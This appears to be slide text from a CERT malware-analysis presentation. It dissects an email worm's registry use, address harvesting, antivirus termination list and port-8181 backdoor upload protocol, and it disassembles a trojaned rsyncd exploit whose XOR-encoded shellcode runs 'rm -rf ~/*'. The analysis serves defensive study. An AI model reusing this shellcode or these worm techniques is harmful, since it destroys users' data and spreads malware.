• "t8"="C:\\WINDOWS\\System32\\tkqiwntj.dll"
• "t9"="C:\\WINDOWS\\System32\\ngqpipgr.dll"
• "tA"="C:\\WINDOWS\\System32\\dkbsicvg.dll"
• "tB"="C:\\WINDOWS\\System32\\jxdimcxd.dll"
• "tC"="C:\\WINDOWS\\System32\\jafpfqwk.dll"
• "tD"="C:\\WINDOWS\\System32\\mzzgbtgq.dll"
• "tE"="C:\\WINDOWS\\System32\\lghtbydr.dll"
• "tZ"="C:\\WINDOWS\\System32\\knsoavtd.dll"
• "mA"="C:\\Malwaretk\\lordpe\\SDK\\LordPE\\LDS\\Examples\\LDS_TaskViewer.exe"
• "lA"="C:\\Program Files\\Messenger"
• "lB"="C:\\Program Files\\MSN\\MSNCoreFiles"
• "mB"="C:\\WINDOWS\\regedit.exe"
• "mC"="C:\\WINDOWS\\TASKMAN.EXE"
• "mD"="C:\\WINDOWS\\PCHealth\\HelpCtr\\Binaries\\msconfig.exe"
• "t2"="inet@microsoft.com"
• "mE"="C:\\WINDOWS\\system32\\regedt32.exe"
• "mF"="C:\\WINDOWS\\system32\\schtasks.exe"
• "mG"="C:\\WINDOWS\\system32\\taskkill.exe"
• "mH"="C:\\WINDOWS\\system32\\tasklist.exe"
• "mI"="C:\\WINDOWS\\system32\\taskman.exe"
• "mJ"="C:\\WINDOWS\\system32\\taskmgr.exe"
• "mK"="C:\\WINDOWS\\system32\\dllcache\\msconfig.exe"
• "mL"="C:\\WINDOWS\\system32\\dllcache\\regedit.exe"
• "mM"="C:\\WINDOWS\\system32\\dllcache\\regedt32.exe"
• "mN"="C:\\WINDOWS\\system32\\dllcache\\sctasks.exe"
• "mO"="C:\\WINDOWS\\system32\\dllcache\\taskkill.exe"
• "mP"="C:\\WINDOWS\\system32\\dllcache\\tasklist.exe"
• "mQ"="C:\\WINDOWS\\system32\\dllcache\\taskman.exe"
• "mR"="C:\\WINDOWS\\system32\\dllcache\\taskmgr.exe"
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Creates Registry Entries
Static Analysis

• Meaning of these registry entries is revealed.  Some 
examples include:

- rD
› indicates state of the malware

- t3
› Name of malware file installed on system

- t4
› Copy of running malware with <randname>.dll

- t5, t6, t7, t8, t9, tA, tB, tC, tD, tE
› Store filenames of harvested email addresses

- m<x>
› Contains filenames found that contain strings (used to 

block access to files):
» reged
» msconfig
» task
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File System Scanning
Runtime Analysis

• Scans entire file system

• Opens and reads files with the following extensions:
- htm
- wab
- txt
- dbx
- tbb
- asp
- php
- sht
- adb
- mbx
- eml
- pmr
- fpt
- inb
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File System Scanning
Static Analysis

• Scans entire file system

• Opens and reads files with the following extensions:
- htm
- wab
- txt
- dbx
- tbb
- asp
- php
- sht
- adb
- mbx
- eml
- pmr
- fpt
- inb

• These files are scanned from strings that match email address format.

• If WAN filename is listed in registry WAB file is opened and addresses are collected

• email address data collected  above is used for mailing to spread the malware.
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Spread via File Sharing
• Run-time analysis

- Finds any directories that contain the strings
› music
› upload
› share

• Static analysis
- When found, copies itself to these directories 

using the following names (50% chance of 
each name)
› winamp 5.7 new!.exe
› ICQ 2005a new!.exe
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Terminate Security Applications
Runtime Analysis

• AV software process terminated on test system
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Terminate Security Applications
Static Analysis

• In setup phase, it scans directories for files with the 
following strings in their names:
- syman
- viru
- trend
- secur
- panda
- cafee
- sopho
- kasper

• If found, the directory name is recorded in a registry value

• When malware is installed and starts running, it searches 
the directories saved in the registry values for .exe files

• If the size of the file is not = 11745 Bytes (the size of the 
malware file), malware attempts to terminate processes 
with files name
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Internet Connection Test
• Runtime analysis shows connection attempts 

to microsoft.com port 80/tcp

• Static analysis show that once installed on 
the system, the malware will loop waiting for 
a successful TCP connection to 
microsoft.com:80/tcp
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Spread via Email
Runtime Analysis

• Malware sends out messages containing the 
malware as a file attachment
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Spread via Email
Static Analysis

• Starts 10 mailer threads
- One for each of 10 files listed in registry entries

- Note: These files contain the collected email addresses.  The 
addresses are distributed evenly across the 10 .dll files 
named in registry values t5..t9, tA..tE (stores any remainder 
addresses in the last file tE)

• Mailer threads send a message containing the malware to each 
of the specific harvested addresses

• When collected addresses are exhausted, threads loop sending 
the malware message to random usernames in the domain of 
the harvested email addresses

• Attempts to send using infected system’s default user name 
and SMTP server and account information (harvested from 
registry).
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Backdoor Listener
Runtime Analysis

Starts backdoor listener on 8181/tcp



© 2005 by Carnegie Mellon University 14
8

Backdoor Listener
Static Analysis

• Purpose of listener on port 8181/tcp is for upload 
and execution of arbitrary files

• Upload protocol is as follows:
- Send 4 bytes 'SNAF'
- Send the file
- Send VEGE appended to the tail

• Once this format of file is received, it will write the 
file to a.exe and attempt to execute it
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Sample Analysis
Static Analysis
Source Code and Reverse Engineering
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rsyncd exploit source code
• Exploit claimed to attack rsyncd <= version 2.5.1

• Modeled after POC code sorsync.c by sorbo

• Compiles and executes on unix platforms
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Static Analysis
Source Code Analysis

int main(int argc, char *argv[]) {
int opt;
int m = 0;
int len = -4;
int line = 0xC0000000;
int check = 1;
int brute = 0; /* bruteforce ;D */
int l = 1;
int align = 0;
(long) funct = &shellcode2;

...
<Code deleted from presentation processes cmdline arguments>
...

funct();
...

• Call to funct() causes shellcode2 bytes to 
be executed because of pointer reference 
declared at start of main()
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Static Analysis of shellcode2
• shellcode2 is XOR encoded
seg000:00000000                 jmp short sec_call_Xor_Decode
seg000:00000002
seg000:00000002 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
seg000:00000002
seg000:00000002 ; Attributes: noreturn
seg000:00000002
seg000:00000002 Xor_Decode proc near               ; CODE XREF: seg000:sec_call_Xor_Decode�p
seg000:00000002                 pop     esi
seg000:00000003                 xor ecx, ecx
seg000:00000005                 mov cl, 75          ; Set loop counter to decode 75 Bytes
seg000:00000007                 mov al, 0FFh
seg000:00000009
seg000:00000009 loop_Decode:                            ; CODE XREF: Xor_Decode+C�j
seg000:00000009                 xor [esi], al
seg000:0000000B                 dec al
seg000:0000000D                 inc     esi
seg000:0000000E                 loop    loop_Decode
seg000:00000010                 jmp short Decoded_Bytes
seg000:00000010 Xor_Decode endp
seg000:00000010
seg000:00000012 ; ---------------------------------------------------------------------------
seg000:00000012
seg000:00000012 sec_call_Xor_Decode:                    ; CODE XREF: seg000:00000000�j
seg000:00000012                 call    Xor_Decode

• Decode bytes with simple IDC script
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Static Analysis of shellcode2
seg000:00000017 Decoded_Bytes:                          ; CODE XREF: Xor_Decode+E�j
seg000:00000017                 call    sub_41
seg000:00000017 ; ---------------------------------------------------------------------------
seg000:0000001C aBinSh db '/bin/sh',0
seg000:00000024 aSh db 'sh',0
seg000:00000027 aC db '-c',0
seg000:0000002A aDelHomeDir db 'rm -rf ~/* 2>/dev/null',0
seg000:00000041
seg000:00000041 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
seg000:00000041 sub_41          proc near               ; CODE XREF: seg000:Decoded_Bytes�p
seg000:00000041                 pop     ebp ; ebp = *aBinSh (will be used as path arg to execve)
seg000:00000041                                         ; esp = *aSh (beginning of **argv[])
seg000:00000042 ;
seg000:00000042 ; Setup null terminated char* array on stack for arguments
seg000:00000042 ;
seg000:00000042                 xor eax, eax ; EAX = 0
seg000:00000044                 push    eax ; NULL
seg000:00000045                 lea     ebx, [ebp+14]   ; EBX = *aDelHomeDir ('rm -rf ~/* 2>/dev/null')
seg000:00000048                 push    ebx
seg000:00000049                 lea     ebx, [ebp+11]   ; EBX = *aC ('-c')
seg000:0000004C                 push    ebx
seg000:0000004D                 lea     ebx, [ebp+8]    ; EBX = *aSh ('sh')
seg000:00000050                 push    ebx
seg000:00000051 ;
seg000:00000051 ; EBX = path
seg000:00000051 ;
seg000:00000051                 mov ebx, ebp ; EBX = *aBinSh ('/bin/sh')
seg000:00000053 ;
seg000:00000053 ;The pointers to the argv[](s) were pushed onto the stack above
seg000:00000053 ;  'sh -c rm -rf ~/* 2>/dev/null'
seg000:00000053 ;
seg000:00000053                 mov ecx, esp ; **argv[] = top of stack
seg000:00000053
seg000:00000053
seg000:00000055                 xor edx, edx ; env[] = NULL
seg000:00000057                 mov al, 0Bh         ; al = 0x0b (11 = code for exevc)
seg000:00000059                 int 80h             ; LINUX - sys_execve
seg000:0000005B                 mov ebx, eax
seg000:0000005D                 xor eax, eax
seg000:0000005F                 inc     eax ; EAX = 1 (code for exit)
seg000:00000060                 int 80h             ; LINUX - sys_exit
seg000:00000060 sub_41          endp
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Static Analysis of shellcode2
• Analysis of shellcode2 reveals this exploit code 

targets the person using it instead of an rsync
service on a remote machine.

True function:

Delete all files from the users home directory

• In reality, this code was a copy of an older exploit 
that had the shellcode2 and pointer function call 
added to exploit the person attempting to use it.
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Questions? Feedback?
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CERT® Contact Information

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
4500 Fifth Avenue
Pittsburgh PA 15213-3890
USA 

Hotline: +1 412 268 7090 CERT personnel answer 8:00 a.m. —
5:00 p.m. EST(GMT-5) / EDT(GMT-4),
and are on call for emergencies
during other hours.

Fax: +1 412 268 6989

Web: http://www.cert.org/

Email: cert@cert.org


